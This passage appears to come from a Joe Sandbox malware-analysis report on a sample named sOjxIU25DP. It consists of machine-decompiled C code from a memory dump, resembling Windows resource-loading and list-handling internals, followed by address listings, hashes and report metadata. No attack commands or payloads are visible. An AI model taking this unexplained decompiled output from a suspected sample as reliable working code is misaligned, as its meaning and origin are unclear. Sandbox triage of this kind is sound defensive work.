									_t612 = E34C77386(_t640, _v80, 2,  &_v180, _t567,  &_v128);
									_t626 = _v128;
									goto L76;
								}
								if( *((intOrPtr*)(_t567 + 0x74)) <= 2) {
									goto L77;
								}
								_t640 =  *(_t567 + 0x88);
								if(_t640 == 0) {
									goto L77;
								}
								_v180 =  *(_t567 + 0x8c);
								if(_v80 != 0 || _t640 <  *((intOrPtr*)(_t567 + 0x54))) {
									_t626 = _v160 + _t640;
									goto L78;
								} else {
									_t597 = _v120;
									_t612 = _t597 + 0x18 + ( *(_t567 + 0x14) & 0x0000ffff);
									_t559 =  *(_t597 + 6) & 0x0000ffff;
									_t598 = 0;
									while(1) {
										_v208 = _t598;
										_v192 = _t612;
										if(_t598 >= _t559) {
											break;
										}
										_t633 =  *((intOrPtr*)(_t612 + 0xc));
										if(_t640 < _t633 || _t640 >=  *((intOrPtr*)(_t612 + 0x10)) + _t633) {
											_t612 = _t612 + 0x28;
											_t598 = _t598 + 1;
											continue;
										} else {
											if(_t612 == 0) {
												break;
											} else {
												_t626 =  *((intOrPtr*)(_t612 + 0x14)) -  *((intOrPtr*)(_t612 + 0xc)) + _t640 + _v160;
												L71:
												_v128 = _t626;
												_t555 = _a8;
												_v100 = _v152;
												if(_t626 == 0) {
													goto L77;
												}
												_t612 = 0;
												goto L76;
											}
										}
									}
									_t626 = 0;
									__eflags = 0;
									goto L71;
								}
							}
							_t26 = _t565 - 1; // 0x2
							if(_t26 > 2) {
								goto L25;
							} else {
								if(_t565 != 3) {
									_t536 = 0;
									__eflags = 0;
								} else {
									_t536 =  *(_t612 + 8) & 0x0000ffff;
								}
								_v120 = _t536;
								_v84 = _t536;
								_t599 =  *_t612;
								if(_t599 == 0x10 || _t599 == 0x18) {
									L20:
									if((_v144 & 0x00000008) == 0 || _t536 != 0 && _t536 != 0x400 && _t536 != 0x800) {
										goto L39;
									} else {
										_t555 = _t555 | 0x00000010;
										_a8 = _t555;
										goto L25;
									}
								} else {
									if((_t599 & 0xffff0000) == 0 || E34CC79A0(_t599, L"MUI") != 0) {
										L39:
										_v112 = 0;
										_v140 = 0;
										_v104 = 0;
										_t612 = 0;
										_t537 = E34C8D530(_t624, 0, 0, "true");
										_v104 = _t537;
										__eflags = _t537 - 0xffffffff;
										if(_t537 == 0xffffffff) {
											L55:
											_t601 = 0x80000;
											L56:
											_v112 = _t601;
											L57:
											_t555 = _t555 | _t601;
											_a8 = _t555;
											__eflags = _t555 & 0x00040000;
											if((_t555 & 0x00040000) == 0) {
												goto L25;
											}
											_t432 = 0xc000008a;
											_v72 = 0xc000008a;
											__eflags = _t555 & 0x00020000;
											if((_t555 & 0x00020000) == 0) {
												_t602 = _v100;
												_v48 =  *_t602;
												_t620 = _v88;
												__eflags = _t620 - 2;
												if(_t620 < 2) {
													_t539 = 0;
													__eflags = 0;
												} else {
													_t539 = _t602[1];
												}
												_v44 = _t539;
												__eflags = _t620 - 3;
												if(_t620 != 3) {
													_t540 = 0;
													__eflags = 0;
												} else {
													_t540 = _t602[2];
												}
												_v40 = _t540;
												__eflags = _t638 - 4;
												if(_t638 == 4) {
													_v36 = _t602[3];
												}
												_t612 =  &_v48;
												_v72 = L34C8B9C0(_t624,  &_v48, _t638, _t555, _v108);
											}
											goto L68;
										}
										__eflags = _t537;
										if(__eflags != 0) {
											L49:
											_push( &_v112);
											_push(_t555);
											_push( *_v100);
											_push(_t537);
											_t543 = E34C8E7F0(_t555, _t624, _t638, __eflags);
											__eflags = _t543;
											if(_t543 >= 0) {
												_t544 = _v104;
												_t601 = _v112;
												__eflags =  *(_t544 + 0x14) & 0x00000100;
												if(( *(_t544 + 0x14) & 0x00000100) != 0) {
													_t601 = _t601 | 0x00100000;
													__eflags = _t601;
													_v112 = _t601;
												}
												__eflags =  *(_t544 + 0x10) & 0x00000010;
												if(( *(_t544 + 0x10) & 0x00000010) == 0) {
													goto L57;
												}
												_t601 = _t601 | 0x00200000;
											} else {
												_t601 = 0x60000;
											}
											goto L56;
										}
										_v60 = L"MUI";
										_v56 = 1;
										_v52 = _t537;
										_t546 = E34C8C6E0(_t624,  &_v60, 3, 0x2000030,  &_v176);
										_t607 = _t546;
										_v184 = _t607;
										__eflags = _t607;
										if(__eflags >= 0) {
											_t607 = L34C8DA30(_t624, _v176,  &_v104,  &_v140);
											_v184 = _t607;
											__eflags = _t607;
											if(__eflags < 0) {
												L46:
												_v104 = 0;
												_t551 = 0xffffffff;
												goto L48;
											}
											_t551 = _v104;
											__eflags =  *_t551 - 0xfecdfecd;
											if(__eflags == 0) {
												_v140 = 0;
												goto L48;
											} else {
												_t607 = 0xc000007b;
												_v184 = 0xc000007b;
												goto L46;
											}
										} else {
											_v104 = 0;
											_t551 = _t546 | 0xffffffff;
											L48:
											_push(0);
											_push(_t607);
											_push(2);
											_push(0);
											_push(_t551);
											_push(0);
											_t612 = 0;
											E34C893A6(_t555, _t624, 0, _t624, _t638, __eflags);
											_t537 = _v104;
											__eflags = _t537;
											if(__eflags == 0) {
												goto L55;
											}
											goto L49;
										}
									} else {
										_t536 = _v120;
										goto L20;
									}
								}
							}
						}
						if(_t435 == 0) {
							goto L232;
						}
						if(_t638 != _t638) {
							goto L9;
						} else {
							_t565 = 3;
							_v88 = 3;
							goto L10;
						}
					} else {
						goto L232;
					}
				} else {
					L232:
					_t432 = 0xc00000f1;
					L233:
					 *[fs:0x0] = _v20;
					_pop(_t625);
					_pop(_t639);
					_pop(_t556);
					return L34CC4B50(_t432, _t556, _v32 ^ _t647, _t612, _t625, _t639);
				}
			}

0x34c8c6e0
0x34c8c6e5
0x34c8c6e7
0x34c8c6ec
0x34c8c6f7
0x34c8c6fe
0x34c8c703
0x34c8c706
0x34c8c708
0x34c8c70e
0x34c8c712
0x34c8c718
0x34c8c71b
0x34c8c71e
0x34c8c720
0x34c8c723
0x34c8c72c
0x34c8c72f
0x34c8c732
0x34c8c736
0x34c8c740
0x34c8c74a
0x34c8c74d
0x34c8c753
0x34c8c761
0x00000000
0x00000000
0x34c8c769
0x34c8c76c
0x34c8c77a
0x34c8c792
0x34c8c792
0x34c8c794
0x34c8c797
0x34c8c797
0x34c8c79a
0x34c8c7a3
0x34c8c7a5
0x34c8c7ad
0x34c8c82c
0x34c8c82e
0x34c8c831
0x34c8c834
0x34c8c836
0x34c8c83c
0x34c8c843
0x34c8c845
0x34c8c84b
0x34c8c853
0x34c8c859
0x34c8c85f
0x34c8c85f
0x34c8c875
0x34c8c877
0x34c8c87c
0x34c8cb19
0x34c8cb1b
0x34c8cb22
0x34c8cb22
0x34c8cb2a
0x34c8cb3d
0x34c8cb3f
0x34c8cb4a
0x34c8cb4b
0x34c8cb4e
0x34c8cb53
0x34c8cb56
0x34c8cb58
0x34c8caba
0x34c8caba
0x00000000
0x34c8caba
0x34c8cb5e
0x34c8cb64
0x34c8cb6b
0x34c8cb72
0x34c8cb74
0x34c8cb7a
0x34c8cb7f
0x34c8cb83
0x34c8cb85
0x34c8cb89
0x34c8cb90
0x34c8cb90
0x34c8cb92
0x00000000
0x00000000
0x34c8cb94
0x34c8cb99
0x34c8cb9a
0x34c8cb9d
0x34c8cb9f
0x00000000
0x00000000
0x34c8cba1
0x34c8cba3
0x34c8cba6
0x34c8cba8
0x34c8cbab
0x34c8cbad
0x34c8cbad
0x34c8cbab
0x34c8cbb0
0x34c8cbb4
0x34c8d045
0x34c8d045
0x34c8d049
0x34c8d053
0x34c8d060
0x34c8d066
0x34c8d06b
0x34c8d06e
0x34c8d070
0x00000000
0x00000000
0x34c8d07d
0x34c8d088
0x34c8d08d
0x34c8d090
0x34c8d092
0x00000000
0x00000000
0x34c8d098
0x34c8d09b
0x34c8d0a1
0x34c8d0a9
0x34c8d0af
0x34c8d0bd
0x34c8d0bf
0x34c8d0d2
0x34c8d0d8
0x34c8d0e2
0x34c8d0e4
0x34c8d0ea
0x34c8d0ef
0x34c8d0f2
0x34c8d0f8
0x34c8d0ff
0x34c8d0ff
0x34c8d106
0x34c8d109
0x34c8d238
0x34c8d23c
0x34c8d270
0x34c8d28c
0x34c8d294
0x34c8d299
0x34c8d29b
0x00000000
0x00000000
0x34c8d2a4
0x34c8d2a7
0x34c8d2aa
0x34c8d2b0
0x34c8d2b6
0x00000000
0x34c8d2b6
0x34c8d23e
0x34c8d241
0x00000000
0x00000000
0x34c8d243
0x34c8d245
0x34c8d24d
0x34c8d253
0x34c8d259
0x34c8d25f
0x00000000
0x00000000
0x34c8d265
0x00000000
0x34c8d10f
0x34c8d10f
0x34c8d117
0x34c8d117
0x34c8d11a
0x34c8d150
0x34c8d155
0x34c8d155
0x34c8d158
0x34c8d15b
0x34c8d161
0x34c8d1b4
0x34c8d1b4
0x34c8d1ba
0x34c8d1c4
0x34c8d1c6
0x34c8d1c8
0x34c8d1cd
0x34c8d1cf
0x34c8d1d4
0x34c8d1d6
0x34c8d1d8
0x34c8d1da
0x34c8d1dd
0x34c8d1e1
0x34c8d1e7
0x34c8d1ed
0x34c8d1f0
0x34c8d1f3
0x34c8d1f6
0x34c8d1fb
0x34c8d1fb
0x34c8d203
0x34c8d206
0x34c8d210
0x34c8d212
0x34c8d215
0x34c8d217
0x34c8d221
0x34c8d221
0x34c8d225
0x34c8d225
0x34c8d217
0x34c8d1dd
0x34c8d1d8
0x34c8d1d4
0x34c8d22a
0x34c8d22a
0x34c8d231
0x00000000
0x34c8d231
0x34c8d1bc
0x34c8d1c2
0x00000000
0x00000000
0x00000000
0x34c8d1c2
0x34c8d163
0x34c8d166
0x00000000
0x00000000
0x34c8d16a
0x34c8d170
0x34c8d176
0x34c8d179
0x34c8d17c
0x34c8d17f
0x34c8d184
0x34c8d184
0x34c8d193
0x34c8d199
0x34c8d19e
0x34c8d1a1
0x34c8d1a6
0x34c8d1a8
0x34c8d1ad
0x00000000
0x00000000
0x34c8d1af
0x34c8d1b1
0x34c8d1b1
0x34c8d1b1
0x00000000
0x34c8d1a6
0x34c8d11c
0x34c8d11c
0x34c8d11f
0x34c8d149
0x00000000
0x34c8d149
0x34c8d121
0x34c8d124
0x34c8d138
0x34c8d13b
0x34c8d142
0x00000000
0x34c8d142
0x34c8d126
0x34c8d12b
0x00000000
0x34c8d12b
0x34c8d109
0x34c8d0c1
0x34c8d0c1
0x34c8d0c8
0x00000000
0x34c8cbba
0x34c8cbbc
0x34c8cbc3
0x34c8cbc7
0x34c8cbd0
0x34c8cbd3
0x34c8cce1
0x34c8cce1
0x34c8cce4
0x34c8cce7
0x34c8ccea
0x34c8cdcc
0x34c8cdcc
0x34c8cdd3
0x00000000
0x34c8cdd3
0x34c8ccf0
0x00000000
0x34c8ccf9
0x34c8ccfd
0x34c8cd0a
0x34c8cd10
0x00000000
0x00000000
0x00000000
0x34c8cd10
0x00000000
0x00000000
0x34c8cd23
0x34c8cd25
0x34c8cd27
0x34c8cd2c
0x00000000
0x00000000
0x34c8cd32
0x34c8cd37
0x00000000
0x00000000
0x34c8cd3d
0x34c8cd3f
0x00000000
0x00000000
0x34c8cd45
0x34c8cd47
0x34c8cd4a
0x34c8cd4d
0x34c8cd54
0x34c8cd54
0x34c8cd4f
0x34c8cd4f
0x34c8cd4f
0x34c8cd56
0x34c8cd59
0x34c8cd5c
0x34c8cd63
0x34c8cd63
0x34c8cd5e
0x34c8cd5e
0x34c8cd5e
0x34c8cd65
0x34c8cd68
0x34c8cd6b
0x34c8cd6e
0x34c8cd70
0x34c8cd73
0x34c8cd73
0x34c8cd7b
0x34c8cd7e
0x34c8cd81
0x34c8cd86
0x34c8cd88
0x34c8cd8b
0x34c8cd8d
0x00000000
0x34c8cd93
0x34c8cd94
0x34c8cd98
0x34c8cd9a
0x34c8cd9d
0x34c8cda2
0x34c8cda9
0x00000000
0x34c8cda9
0x00000000
0x34c8cdb0
0x34c8cdb4
0x34c8cd16
0x34c8cd16
0x34c8cd1a
0x00000000
0x34c8cd1a
0x34c8cdba
0x34c8cdbe
0x00000000
0x00000000
0x34c8cdc7
0x34c8cdca
0x34c8cddd
0x34c8cde1
0x34c8cdf0
0x34c8cdf6
0x34c8cdfb
0x34c8cdfd
0x34c8ccff
0x34c8ccff
0x34c8cd01
0x00000000
0x34c8cd01
0x34c8ce03
0x34c8ce07
0x34c8ce0a
0x34c8ce10
0x34c8ce10
0x00000000
0x34c8ce0a
0x34c8cde3
0x34c8cde7
0x00000000
0x34c8cde7
0x00000000
0x00000000
0x34c8ce18
0x34c8ce1c
0x34c8ce2b
0x34c8ce2f
0x34c8ce32
0x34c8ce1e
0x34c8ce1e
0x34c8ce22
0x34c8ce22
0x00000000
0x00000000
0x34c8ce3b
0x34c8ce3f
0x00000000
0x00000000
0x00000000
0x00000000
0x34c8ce4e
0x34c8ce52
0x34c8ce56
0x34c8ce59
0x00000000
0x00000000
0x34c8ce5f
0x34c8ce61
0x34c8ce65
0x34c8ce6a
0x34c8ce6c
0x34c8cedb
0x34c8cedd
0x34c8cee1
0x34c8cee5
0x00000000
0x34c8cee5
0x34c8ce74
0x34c8ce7a
0x34c8ce7e
0x34c8ce84
0x34c8cec5
0x34c8cec5
0x34c8cec7
0x34c8cecb
0x34c8cecb
0x34c8cece
0x34c8ced2
0x00000000
0x34c8ced2
0x34c8ce86
0x34c8ce94
0x34c8ce98
0x34c8ce9f
0x34c8cea5
0x34c8ceaa
0x34c8ceae
0x34c8ceb1
0x00000000
0x00000000
0x34c8ceb3
0x34c8ceb4
0x34c8ceba
0x34c8cebd
0x00000000
0x00000000
0x34c8ceee
0x34c8cef0
0x34c8cef2
0x34c8cef7
0x34c8ce41
0x34c8ce41
0x34c8ce45
0x00000000
0x34c8ce45
0x34c8cf01
0x34c8cf04
0x34c8cf09
0x34c8cf0b
0x00000000
0x00000000
0x34c8cf11
0x34c8cf17
0x00000000
0x00000000
0x34c8cf1d
0x34c8cf20
0x34c8cf22
0x00000000
0x00000000
0x34c8cf32
0x34c8cf3e
0x34c8cf45
0x34c8cf4a
0x34c8cf4c
0x00000000
0x00000000
0x34c8cf52
0x34c8cf59
0x00000000
0x00000000
0x34c8cf62
0x34c8cf66
0x34c8cf6a
0x34c8cf6c
0x34c8cf6e
0x34c8cf73
0x00000000
0x00000000
0x34c8cf79
0x34c8cf81
0x34c8cf9a
0x34c8cf9d
0x34c8cf83
0x34c8cf83
0x34c8cf8a
0x34c8cf91
0x34c8cf95
0x34c8cf95
0x00000000
0x00000000
0x34c8cfa3
0x34c8cfa7
0x34c8cfab
0x34c8cfb1
0x34c8cfb2
0x34c8cfb4
0x34c8cfb9
0x34c8cfbc
0x34c8cfbe
0x34c8cfc0
0x34c8cfc7
0x34c8cfc7
0x00000000
0x00000000
0x34c8cfcd
0x34c8cfd1
0x34c8cfd5
0x34c8cfdb
0x34c8cfdc
0x34c8cfde
0x34c8cfe3
0x34c8cfe6
0x34c8cfe8
0x34c8cfea
0x34c8cff0
0x34c8cff6
0x34c8cff8
0x34c8cffb
0x34c8cffb
0x34c8cff6
0x00000000
0x00000000
0x34c8d001
0x34c8d006
0x00000000
0x00000000
0x34c8d00c
0x34c8d00c
0x34c8d00c
0x34c8d00f
0x34c8d012
0x34c8d014
0x34c8d016
0x34c8d018
0x34c8d02a
0x34c8d02d
0x34c8d030
0x34c8d033
0x34c8d036
0x34c8d03c
0x34c8d03f
0x00000000
0x34c8d03f
0x34c8d01d
0x34c8d020
0x00000000
0x00000000
0x34c8d022
0x34c8ccd9
0x00000000
0x00000000
0x34c8ccf0
0x34c8cbdc
0x34c8cbde
0x34c8cbe1
0x34c8cbe3
0x34c8cc7d
0x34c8cc7d
0x34c8cc7f
0x34c8cc94
0x34c8cc94
0x34c8cc9c
0x34c8cc9c
0x34c8cc9f
0x34c8d2c8
0x34c8d2cd
0x34c8d2cd
0x34c8d2d0
0x34c8d2d0
0x34c8d2d6
0x34c8d33b
0x34c8d33b
0x34c8d33e
0x34c8d33e
0x34c8d344
0x34c8d352
0x34c8d354
0x34c8d356
0x34c8d35b
0x34c8d3ef
0x34c8d3ef
0x34c8d3f6
0x00000000
0x34c8d3f6
0x34c8d361
0x34c8d366
0x00000000
0x00000000
0x34c8d36c
0x34c8d36e
0x00000000
0x00000000
0x34c8d374
0x34c8d378
0x00000000
0x00000000
0x34c8d37c
0x34c8d382
0x34c8d388
0x34c8d38b
0x34c8d38e
0x34c8d391
0x34c8d396
0x34c8d396
0x34c8d39e
0x34c8d3a1
0x34c8d3ab
0x34c8d3ad
0x34c8d3b0
0x34c8d3b2
0x00000000
0x34c8d3b4
0x34c8d3bc
0x34c8d3c0
0x34c8d3c5
0x34c8d3cc
0x00000000
0x34c8d3cc
0x34c8d3b2
0x34c8d346
0x34c8d34c
0x00000000
0x00000000
0x00000000
0x34c8d34c
0x34c8d2d8
0x34c8d2de
0x34c8d2e8
0x34c8d2e8
0x34c8d2eb
0x34c8d2ee
0x34c8d2f2
0x34c8d2f8
0x34c8d2fe
0x34c8d301
0x34c8d304
0x34c8d307
0x34c8d30c
0x34c8d30c
0x34c8d31b
0x34c8d321
0x34c8d326
0x34c8d32b
0x34c8d32d
0x34c8d332
0x34c8d334
0x34c8d336
0x34c8d336
0x34c8d332
0x34c8d32b
0x00000000
0x34c8d2ee
0x34c8d2e0
0x34c8d2e6
0x00000000
0x00000000
0x00000000
0x34c8d2e6
0x34c8cca5
0x34c8cca5
0x34c8cca8
0x34c8d2c1
0x00000000
0x34c8d2c1
0x34c8ccae
0x34c8ccb1
0x34c8ccbd
0x34c8ccc2
0x34c8ccc5
0x34c8ccc9
0x00000000
0x00000000
0x34c8cccf
0x00000000
0x34c8cccf
0x34c8ccb3
0x00000000
0x34c8ccb3
0x34c8cc81
0x34c8cc83
0x00000000
0x00000000
0x34c8cc88
0x34c8cc8a
0x34c8cc8c
0x00000000
0x34c8cc8c
0x34c8cbe9
0x34c8cbeb
0x00000000
0x00000000
0x34c8cbf4
0x34c8cbf6
0x34c8cbfc
0x34c8cc03
0x34c8cc0b
0x34c8cc23
0x34c8cc23
0x34c8cc29
0x34c8cc2f
0x34c8cc36
0x34c8cc44
0x34c8cc47
0x34c8cc5b
0x34c8cc6a
0x34c8cc6a
0x34c8cc6d
0x34c8cc6f
0x34c8cc72
0x34c8cc75
0x00000000
0x34c8cc75
0x34c8cb90
0x34c8cb2c
0x34c8cb33
0x00000000
0x34c8cb33
0x34c8cb1d
0x34c8cb1d
0x34c8cb1f
0x34c8cb1f
0x00000000
0x34c8cb1f
0x34c8c882
0x34c8c886
0x34c8c88e
0x34c8caf2
0x34c8caf7
0x34c8cafa
0x00000000
0x00000000
0x34c8cb14
0x34c8cb16
0x00000000
0x34c8cb16
0x34c8c898
0x00000000
0x00000000
0x34c8c89e
0x34c8c8a6
0x00000000
0x00000000
0x34c8c8b2
0x34c8c8bc
0x34c8caee
0x00000000
0x34c8c8cb
0x34c8c8d2
0x34c8c8d8
0x34c8c8da
0x34c8c8de
0x34c8c8e0
0x34c8c8e0
0x34c8c8e6
0x34c8c8ee
0x00000000
0x00000000
0x34c8c8f4
0x34c8c8f9
0x34c8cac6
0x34c8cac9
0x00000000
0x34c8c90c
0x34c8c90e
0x00000000
0x34c8c914
0x34c8c91c
0x34c8cad1
0x34c8cad1
0x34c8cad4
0x34c8cadd
0x34c8cae2
0x00000000
0x00000000
0x34c8cae4
0x00000000
0x34c8cae4
0x34c8c90e
0x34c8c8f9
0x34c8cacf
0x34c8cacf
0x00000000
0x34c8cacf
0x34c8c8bc
0x34c8c7af
0x34c8c7b5
0x00000000
0x34c8c7b7
0x34c8c7ba
0x34c8c7c2
0x34c8c7c2
0x34c8c7bc
0x34c8c7bc
0x34c8c7bc
0x34c8c7c4
0x34c8c7c7
0x34c8c7cb
0x34c8c7d0
0x34c8c7fc
0x34c8c803
0x00000000
0x34c8c826
0x34c8c826
0x34c8c829
0x00000000
0x34c8c829
0x34c8c7d7
0x34c8c7dd
0x34c8c927
0x34c8c927
0x34c8c92e
0x34c8c938
0x34c8c943
0x34c8c947
0x34c8c94c
0x34c8c94f
0x34c8c952
0x34c8ca4a
0x34c8ca4a
0x34c8ca4f
0x34c8ca4f
0x34c8ca52
0x34c8ca52
0x34c8ca54
0x34c8ca57
0x34c8ca5d
0x00000000
0x00000000
0x34c8ca63
0x34c8ca68
0x34c8ca6b
0x34c8ca71
0x34c8ca73
0x34c8ca78
0x34c8ca7b
0x34c8ca7e
0x34c8ca81
0x34c8ca88
0x34c8ca88
0x34c8ca83
0x34c8ca83
0x34c8ca83
0x34c8ca8a
0x34c8ca8d
0x34c8ca90
0x34c8ca97
0x34c8ca97
0x34c8ca92
0x34c8ca92
0x34c8ca92
0x34c8ca99
0x34c8ca9c
0x34c8ca9f
0x34c8caa4
0x34c8caa4
0x34c8caad
0x34c8cab7
0x34c8cab7
0x00000000
0x34c8ca71
0x34c8c958
0x34c8c95a
0x34c8ca09
0x34c8ca0c
0x34c8ca0d
0x34c8ca11
0x34c8ca13
0x34c8ca14
0x34c8ca19
0x34c8ca1b
0x34c8ca24
0x34c8ca27
0x34c8ca2a
0x34c8ca31
0x34c8ca33
0x34c8ca33
0x34c8ca39
0x34c8ca39
0x34c8ca3c
0x34c8ca40
0x00000000
0x00000000
0x34c8ca42
0x34c8ca1d
0x34c8ca1d
0x34c8ca1d
0x00000000
0x34c8ca1b
0x34c8c960
0x34c8c967
0x34c8c96e
0x34c8c984
0x34c8c989
0x34c8c98b
0x34c8c991
0x34c8c993
0x34c8c9b9
0x34c8c9bb
0x34c8c9c1
0x34c8c9c3
0x34c8c9db
0x34c8c9dd
0x34c8c9e0
0x00000000
0x34c8c9e0
0x34c8c9c5
0x34c8c9c8
0x34c8c9ce
0x34c8c9e5
0x00000000
0x34c8c9d0
0x34c8c9d0
0x34c8c9d5
0x00000000
0x34c8c9d5
0x34c8c995
0x34c8c995
0x34c8c99c
0x34c8c9ef
0x34c8c9ef
0x34c8c9f1
0x34c8c9f2
0x34c8c9f4
0x34c8c9f6
0x34c8c9f7
0x34c8c9f9
0x34c8c9fd
0x34c8ca02
0x34c8ca05
0x34c8ca07
0x00000000
0x00000000
0x00000000
0x34c8ca07
0x34c8c7f9
0x34c8c7f9
0x00000000
0x34c8c7f9
0x34c8c7dd
0x34c8c7d0
0x34c8c7b5
0x34c8c77e
0x00000000
0x00000000
0x34c8c786
0x00000000
0x34c8c788
0x34c8c788
0x34c8c78d
0x00000000
0x34c8c78d
0x00000000
0x00000000
0x00000000
0x34c8d3fa
0x34c8d3fa
0x34c8d3fa
0x34c8d3ff
0x34c8d402
0x34c8d40a
0x34c8d40b
0x34c8d40c
0x34c8d41a
0x34c8d41a

Strings

MUI, xrefs: 34C8C7E3, 34C8C960

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: d9d3ba38d16f3cf8ab36c16ba363a274cc07ea7f659266dba90b856534703b9f
Instruction ID: 3b58d7c9425f36695f8e2db0eb57dbfa11e3a9cbe9d316229a500e8ea1a05692
Opcode Fuzzy Hash: d9d3ba38d16f3cf8ab36c16ba363a274cc07ea7f659266dba90b856534703b9f
Instruction Fuzzy Hash: DB823C7AE003189FEB14CFA9C890BADB7B6FF48358F14816AD859EB250DB349D45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 34C864F0 Relevance: 1.9, APIs: 1, Instructions: 383
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E34C864F0(void* __ebx, void* __ecx, void* __edx, void* __edi, signed int _a4, signed int _a8, intOrPtr _a12, char* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				intOrPtr* _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				char _v48;
				char _v52;
				signed int _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				intOrPtr _v72;
				intOrPtr* _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				char _t170;
				signed short _t178;
				signed int _t183;
				intOrPtr* _t185;
				signed int _t191;
				signed int _t197;
				signed int _t198;
				signed int _t202;
				signed int _t206;
				signed int _t209;
				intOrPtr _t211;
				signed int _t231;
				intOrPtr _t232;
				signed int _t241;
				intOrPtr _t244;
				intOrPtr _t245;
				signed int _t246;
				signed int _t247;
				intOrPtr _t248;
				intOrPtr _t250;
				signed int _t252;
				signed int _t260;
				signed int _t262;
				signed int* _t265;
				intOrPtr _t267;
				signed int _t270;
				signed int _t276;
				signed int* _t278;
				signed int* _t281;
				signed int _t282;
				intOrPtr _t284;
				intOrPtr _t285;
				signed int _t286;
				intOrPtr _t289;
				intOrPtr* _t290;
				void* _t292;
				signed int _t293;
				intOrPtr _t297;
				signed int _t300;
				void* _t302;
				intOrPtr _t303;
				signed int _t311;
				signed int _t317;
				void* _t319;

				_t319 = (_t317 & 0xfffffff8) - 0x3c;
				_t241 = 0;
				_v61 = 0;
				_t167 = __ecx + 0xb4;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_v56 = 0;
				_v60 = 0;
				_v24 = _t167;
				if(__edx == _t167) {
					_t168 =  *_t167;
					_v61 = _t168 != 0;
					_v60 = _t168 == 0;
					goto L7;
				} else {
					 *_t167 = 0;
					_t183 =  &_v12;
					_v8 = _t183;
					_v12 = _t183;
					_t185 = __edx + (_a8 * 8 - _a8) * 4;
					_t260 = _a4;
					_v28 = _t185;
					_t300 = _t260;
					 *((intOrPtr*)(_t185 + 4)) =  *((intOrPtr*)(_t185 + 4)) - 1 + _t260;
					_t311 = (_t260 << 4) + __edx;
					_t262 = __edx + 0x10 + (_t260 * 8 - _t260) * 4;
					do {
						_t191 =  *(_t311 - 0x10);
						_t311 = _t311 - 0x10;
						_t262 = _t262 - 0x1c;
						_v32 = _t191;
						_t300 = _t300 - 1;
						_v44 = _t262;
						if(_t191 != 0) {
							if(_v61 != 0) {
								_v36 = _t191 + 0x14;
								E34CC8C00(_t262 - 0x10, _t311, "true");
								_t319 = _t319 + 0xc;
								 *((intOrPtr*)(_v44 + 8)) = _v28;
								L34C92330(_v44, _v36);
								_t265 = _v36 + 0x18;
								_v20 = _t265;
								_t286 = _t265[1];
								_t197 =  *_t265;
								_v24 = _t197;
								if( *_t286 != _t265) {
									L59:
									asm("int 0x29");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_t267 = _v72;
									_t198 = _t197 | 0xffffffff;
									asm("lock xadd [ecx], eax");
									if(_t198 == 0) {
										 *0x34d791e0(_t267, _t311);
										return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t267 + 4))))))();
									}
									return _t198;
								} else {
									_t202 = _v44;
									 *_t202 = _t265;
									 *(_t202 + 4) = _t286;
									 *_t286 = _t202;
									_t265[1] = _t202;
									E34C924D0(_v36);
									_v52 = _v52 + 1;
									if(_v24 != _v20) {
										goto L24;
									} else {
										_t281 = _v8;
										_t197 = _v32 + 0xc;
										_t250 = _v56;
										if( *_t281 !=  &_v12) {
											goto L59;
										} else {
											 *(_t197 + 4) = _t281;
											 *_t197 =  &_v12;
											_t241 = _t250 + 1;
											 *_t281 = _t197;
											_v8 = _t197;
											_v56 = _t241;
											goto L23;
										}
									}
								}
							} else {
								_t282 = _v24;
								_v61 = 1;
								 *_t282 = _t191;
								 *((intOrPtr*)(_t282 + 4)) =  *((intOrPtr*)(_t311 + 4));
								 *((intOrPtr*)(_t282 + 8)) =  *((intOrPtr*)(_t311 + 8));
								 *((intOrPtr*)(_t282 + 0xc)) =  *((intOrPtr*)(_t311 + 0xc));
								L23:
								_t289 = _v48;
								L24:
								_t262 = _v44;
								goto L4;
							}
						} else {
							_t289 = _v48;
							_v60 = 1;
							goto L4;
						}
						goto L72;
						L4:
					} while (_t300 != 0);
					_t206 = _a4 - 1;
					if(_t289 != _t206) {
						_t290 = _v28;
						asm("lock xadd [ecx], eax");
						if((_t206 | 0xffffffff) == 0) {
							_t232 =  *0x34d76644; // 0x0
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t232 + 0x300000,  *_t290);
						}
					}
					if(_t241 != 0) {
						_t209 =  &_v12 - 0xc;
						_t302 = _v12 + 0xfffffff4;
						_t270 = 0xfffffffe;
						_v16 = _t209;
						_t311 = 0;
						_v44 = 0xfffffffe;
						if(_t302 != _t209) {
							_t248 = 0;
							do {
								_t231 = E34CC6600(1,  *(_t302 + 4), 0);
								_t270 = _v44;
								_t311 = _t311 | _t231;
								if(_t270 != 0xffffffff) {
									if(_t270 != 0xfffffffe) {
										if(_t270 ==  *(_t302 + 4)) {
											goto L41;
										} else {
											_t270 = _t270 | 0xffffffff;
											goto L40;
										}
										while(1) {
											L48:
											_t197 = _v12;
											if(_t197 ==  &_v12) {
												break;
											}
											_t292 =  *_t197;
											if( *(_t292 + 4) != _t197) {
												goto L59;
											} else {
												_t276 =  *(_t197 + 4);
												if( *_t276 != _t197) {
													goto L59;
												} else {
													 *_t276 = _t292;
													 *(_t292 + 4) = _t276;
													_t293 = _t197;
													_t197 =  *((intOrPtr*)(_t303 + 0x14)) + ( *(_t197 - 8) +  *(_t197 - 8) * 2) * 4;
													_t278 =  *(_t197 + 4);
													if( *_t278 != _t197) {
														goto L59;
													} else {
														 *_t293 = _t197;
														 *(_t293 + 4) = _t278;
														 *_t278 = _t293;
